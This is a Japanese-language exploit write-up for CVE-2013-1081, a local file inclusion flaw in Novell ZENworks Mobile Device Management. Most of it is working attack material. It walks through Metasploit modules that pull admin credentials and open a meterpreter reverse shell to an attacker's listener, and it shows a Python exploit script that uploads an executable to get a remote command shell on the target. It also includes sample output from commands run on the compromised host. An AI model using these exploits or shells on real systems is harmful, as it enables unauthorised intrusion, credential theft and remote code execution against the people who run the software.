CVE-2013-1081

このスクリプトは、Novell Zenworks モバイルデバイス管理に存在するローカルファイルインクルード（LFI）を利用します。

Metasploit モジュール -

msf > use auxiliary/scanner/http/novell_mdm_creds msf auxiliary(novell_mdm_creds) > show options

Module options (auxiliary/scanner/http/novell_mdm_creds):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host

msf auxiliary(novell_mdm_creds) > set rhosts 192.168.20.133 rhosts => 192.168.20.133 msf auxiliary(novell_mdm_creds) > run

[] Verifying that Zenworks login page exists at 192.168.20.133 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [+] Got creds. Login:Admin1 Password:password1 [+] Access the admin interface here: 192.168.20.133:80/dashboard/ [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

msf > use exploit/windows/http/novell_mdm_lfi

msf exploit(novell_mdm_lfi) > show options

Module options (exploit/windows/http/novell_mdm_lfi):

Name Current Setting Required Description

---

Proxies no Use a proxy chain RHOST 192.168.20.133 yes The target address RPORT 80 yes Default remote port TARGETURI / yes Path to the Novell Zenworks MDM install VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

---

EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.20.131 yes The listen address LPORT 4444 yes The listen port

msf exploit(novell_mdm_lfi) > exploit

[] Started reverse handler on 192.168.20.131:4444 [] Found Zenworks MDM, Checking application version [] Found Version 2.6.0 [] Setting up poisoned session [] Uploading payload [] Executing payload [] Sending stage (751104 bytes) to 192.168.20.133 [] Meterpreter session 1 opened (192.168.20.131:4444 -> 192.168.20.133:4725) at 2013-06-04 09:39:20 -0700

meterpreter >

Python スクリプト -

同梱の "cmd.exe" は win2k3 製です - ターゲットによって動作は異なる場合があります。現在の 'shell' は非常に不安定ですが、アップロードする実行ファイルを任意のものに置き換えるのは簡単なはずです :)

実行例:

python sploit.py http://192.168.20.133
[] Session Poisoned, Retrieving Creds. [+] Credentials User: Admin1 Password: password1 [!] Log into the administrative interface at: http://192.168.20.133/dashboard/ [] Staging exe to run [*] Dropping to shell, type 'exit' to quit. #:net user user_agent|s:34:" User accounts for \STEPONEQ-1B78B2

---

Administrator Guest IUSR_STEPONEQ-1B78B2
IWAM_STEPONEQ-1B78B2 SUPPORT_388945a0
The command completed successfully.

";$error|s:12:"Login Failed"; #:ipconfig user_agent|s:34:" Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.20.133 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.2

";$error|s:12:"Login Failed";